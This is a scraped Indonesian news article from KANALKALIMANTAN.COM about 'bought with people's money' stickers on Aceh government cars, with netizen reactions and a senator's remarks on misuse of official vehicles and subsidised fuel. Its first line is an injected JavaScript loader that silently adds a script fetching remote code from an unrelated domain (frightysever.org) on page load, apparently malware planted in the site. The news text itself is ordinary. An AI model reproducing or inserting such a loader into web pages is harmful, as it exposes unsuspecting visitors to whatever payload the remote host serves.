(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Mobil Dinas Ditempel Stiker: Dibeli dengan Uang Rakyat. Warganet Beri ‘Jempol’


KANALKALIMANTAN.COM, JAKARTA – Baru-baru ini beredar foto penempelan stiker ke sejumlah mobil dinas Pemerintah Aceh. Tulisan dalam stiker tersebut menuai pujian dari masyarakat.
Foto-foto itu beredar di sosial media, salah satunya dibagikan oleh akun Twitter @HoldenKlasik pada Jumat (4/8/2020).

Tampak beberapa mobil berplat merah ditempeli stiker bertuliskan “Mobil Ini Dibeli Dengan Uang Rakyat”.

Penempelan stiker pada mobil dinas Pemerintah Aceh ini sebagai upaya menghindari penyalahgunaan mobil untuk keperluan pribadi. Warganet pun menuliskan reaksi dan pujian atas penempelan stiker pada mobil dinas Pemerintah Aceh tersebut.

“Mantap nih stikernya, kapan kota lain menyusul ya mbah?” tulis akun @HoldenKlasik.

“Nah, biar enggak ada lagi kalau weekend atau tanggal merah mobilnya parkir di mal juga,” komentar @nengphie**.

“Harusnya sekalian permanin sih, kalau stiker kan bisa dicopot,” saran @achmadadri******.

“Setuju nih tiap kota atau bahkan mobil dinas anggota DPR/MPR/DPD dan pejabat negara lainnya pakai stiker ini,” imbuh @hadhm*****.

“Tapi suara rakyat di beli pake uang dia gak?” sentil @byum***.

Mengutip Antara, penempelan stiker mobil dinas Pemerintah Aceh ini merupakan salah satu aspirasi masyarakat.

Anggota DPD RI Haji Uma mengungkapkan ada beberapa penyelewengan penggunaan mobil dinas yang dilakukan oleh sejumlah pejabat.

“Pemerintah Aceh jangan hanya menertibkan kecurangan oleh sebagian masyarakat dalam penggunaan BBM subsidi namun juga harus berani menertibkan kecurangan yang dilakukan pengguna kendaraan dinas yang dibeli dengan uang rakyat,” kata Haji Uma, Sabtu (22/8/2020).

Meseki demikian Haji Uma mengapresiasi langkah Gubernur Aceh yang menempel stiker pada kendaraan yang boleh mengisi BBM bersubsidi.

Namun, lanjut senator ini, Pemerintah Aceh harus dapat memastikan ketersediaan yang cukup BBM subsidi sesuai jumlah kendaraan yang sudah ditempel stiker.

“Jangan nanti kendaraan yang sudah ditempel stiker dapat mengisi premium bersudsidi namun tidak tersedia premium yang cukup di SPBU, sehingga kendaraan harus mengisi pertalite atau pertamax, begitu juga untuk BBM dexlite pengganti solar masih banyak SPBU yang belum menyediakannya,” demikian Haji Uma. (suara)

 

Editor: Cell


Desy Arfianty

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

2 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

12 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

12 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

13 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

14 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

15 jam ago

This website uses cookies.